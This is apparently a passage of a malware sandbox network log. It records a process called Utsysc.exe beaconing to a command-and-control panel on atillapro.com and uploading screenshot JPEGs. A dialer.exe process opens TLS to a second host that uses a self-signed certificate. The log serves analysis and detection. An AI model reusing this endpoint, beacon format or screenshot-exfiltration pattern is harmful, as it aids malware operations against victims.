Apr 9, 2024 14:54:22.026165009 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:22.043191910 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:22.232857943 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49770	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:22.521745920 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:22.698878050 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:22.704241037 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:22.886713028 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 9, 2024 14:54:22.899082899 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:22.899292946 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:22.899292946 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:22.899292946 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:22.899292946 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:22.899383068 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:22.899383068 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:22.899383068 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:22.899487019 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:22.899487019 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:22.899764061 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:24.544411898 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49771	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:23.222121000 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:23.399575949 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:23.409740925 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:23.599520922 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49772	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:23.896476984 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:24.073894978 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:24.077248096 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:24.266932964 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49773	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:24.551343918 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:24.728696108 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:24.733655930 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:24.914535046 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49774	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:25.088071108 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTgxOTc= Host: atillapro.com Content-Length: 98349 Cache-Control: no-cache
Apr 9, 2024 14:54:25.088258982 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 67 78 4f 54 63 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTgxOTc=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:25.088304996 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:25.088427067 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:25.088469028 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:25.088478088 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:25.088506937 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:25.088524103 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:25.088546038 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:25.088565111 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:25.088582039 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:28.532072067 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49775	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:25.303293943 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:25.480767965 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:25.913292885 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:26.104348898 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49776	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:27.841033936 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:28.018178940 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:28.023533106 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:28.211586952 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49777	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:28.505547047 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:28.682912111 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:28.683635950 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:28.867471933 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49778	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:29.038542986 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:29.038542986 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:29.038600922 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:29.038600922 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:29.038600922 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:29.038666010 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:29.038666010 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:29.038666010 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:29.038721085 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:29.038721085 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:29.038721085 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:30.693291903 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49779	216.250.255.115	80	4280	C:\Windows\SysWOW64\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:29.103697062 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 15 3a 84 fd 9c e7 01 6d ef 4a 00 39 6a 74 f4 4d a2 b3 be 93 26 6d 04 ab 61 6c 31 e2 c2 7a bd 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: f:mJ9jtM&mal1zP,0$(k9+/#'g3=52*.&</1)-%H#
Apr 9, 2024 14:54:29.262613058 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 80 59 31 15 18 5a b0 d6 4d a4 f1 b7 6e a3 92 17 90 a9 de 8a ea 1b be b2 d4 89 59 81 87 bf 72 cb 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73Y1ZMnYr00A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 9, 2024 14:54:29.262624025 CEST	130	IN	Data Raw: 38 df 6a 71 5c 7b 15 88 27 50 cc 68 f0 3e b6 44 62 a5 dd 0f 2d 42 ab 17 91 9f a9 ac bf 98 51 b9 df 2b 66 c6 82 14 54 26 39 a6 fa df 4f 1a c9 e5 77 34 96 43 e5 37 df 5c e7 83 5e ef db 91 24 73 21 ae 21 6b 46 22 c1 51 c1 b2 e3 f1 69 93 0c 51 f0 c8 Data Ascii: 8jq\{'Ph>Db-BQ+fT&9Ow4C7\^$s!!kF"QiQ%P4G9vW:mI$'K~b$
Apr 9, 2024 14:54:29.299804926 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 00 45 12 b0 fe ea 0c 74 59 63 c8 c2 a5 59 81 2d 46 02 a9 1c 13 70 af ba ce 3f 4c 3e ff ba cf 0d fc 46 d9 01 a2 63 34 27 de 09 f7 53 90 50 83 3c 95 a2 15 61 38 4e 0f 16 de fa c8 dc c2 f9 6b f7 bd 1c 00 a3 b2 2a 1e Data Ascii: EtYcY-Fp?L>Fc4'SP<a8NkZNEK5;nX+rEhGCG 5,J4.#C&&nZ$
Apr 9, 2024 14:54:29.461891890 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 2c 2a 75 68 9a f2 87 99 61 41 68 56 33 92 6a 32 11 d4 e6 70 84 9b 1b b2 a6 55 03 3f 9d 24 59 f7 Data Ascii: ,*uhaAhV3j2pU?$Y
Apr 9, 2024 14:54:29.479955912 CEST	595	OUT	Data Raw: 17 03 03 02 4e ef f8 ab ea e0 d0 c1 eb 64 00 d6 84 4c 49 27 c4 d9 9f b1 8e 50 01 28 7c f8 0f 1f 69 b1 93 28 4d f9 ce 45 cd 22 be 75 33 f8 6f 60 68 32 21 7c fd b9 c7 9b 15 45 c0 94 e9 20 04 56 c4 67 2b 63 0e 69 08 01 54 62 4e c7 bc 62 f0 33 4d a6 Data Ascii: NdLI'P(\|i(ME"u3o`h2!\|E Vg+ciTbNb3Mi-8MkjuuFIc:U7rX=%g`o!Q((foz_!t%-`Md'%tK][{5XuQwj$~WuxDe3v:Fz^RQ66
Apr 9, 2024 14:54:29.669867039 CEST	1208	IN	Data Raw: 17 03 03 04 b3 ae cd 60 eb 45 53 0f b3 be bc 5d b6 27 16 41 7c 66 69 92 99 e3 ed 3c 69 31 75 38 73 c8 1c ef 31 90 56 46 5a c6 5a 58 94 6a 23 df 55 05 b3 ac 52 4a 87 68 43 68 79 09 2d cf ae eb 38 1f 0e b1 f6 2b f4 dc 43 01 cb 2a 43 51 2c 2b ea 7f Data Ascii: `ES]'A\|fi<i1u8s1VFZZXj#URJhChy-8+CCQ,+[;,[0]\3nf LzQ>~1Y7ErJld@W%``dSUB@O::6H~m`=zT]8Z#-tQ\-Lyn.l8,
Apr 9, 2024 14:54:29.669883013 CEST	1289	IN	Data Raw: 17 03 03 09 56 c9 b9 85 85 5f d5 79 0f 69 ca c4 d1 ad fa c8 2f 2d 93 b7 68 90 15 24 aa 04 7c 67 f2 bd 5c 9c 99 62 1e a7 d0 86 b3 2c af 9e ed f2 63 98 2a 58 43 50 0b 67 9d d2 c0 bb 61 47 89 26 19 45 fb 47 34 55 88 4e 7d 73 83 b6 3a 61 da 29 e7 56 Data Ascii: V_yi/-h$\|g\b,c*XCPgaG&EG4UN}s:a)V`A=:eSn[YwMN)=]{>z>eHf/@xg%,i3NoN48b#1n'd}jC3=pcn
Apr 9, 2024 14:54:29.669903040 CEST	1106	IN	Data Raw: fe 61 3d 97 5b c2 28 52 eb c0 ca d7 c5 bb f4 e3 f8 52 94 7a db d5 60 ba 13 ac ba 91 96 60 6d 46 b3 50 64 8b 10 34 1d da 63 29 16 4a 1a 3c b2 a6 8a 19 77 4d 3d 55 b3 b4 99 e3 cc 28 72 2e 76 87 5d bd b5 68 5e 01 4e 3a 19 10 10 9f 2a 87 1f 46 d4 2c Data Ascii: a=[(RRz``mFPd4c)J<wM=U(r.v]h^N:*F,8%+0&<kGexzS]8K8~$2{kN lm!b2Im2VJ=YrRQ=M9#BcJLQiMvtINiS!?RK8m
Apr 9, 2024 14:54:29.669920921 CEST	1289	IN	Data Raw: 17 03 03 02 27 75 4a 88 80 2e 51 32 12 78 5d 32 62 8c e1 fe 41 71 f8 1b 15 c2 78 22 76 b4 df 6b 30 bc ad 02 75 8e a0 50 d0 02 9b 78 06 48 4e 6a 12 38 14 22 d2 7a 4d 53 c4 ab 60 fa 84 c5 1c af fa be 55 f6 06 f9 fe e3 02 db 12 48 9f 8f 69 bb 31 c8 Data Ascii: 'uJ.Q2x]2bAqx"vk0uPxHNj8"zMS`UHi1"WBCFb4Q(utna0_/n4M!v:V kcL37=Lgp>v);JxY}+2_>@?GFf RI^h;Um:B1'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49780	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:29.183131933 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
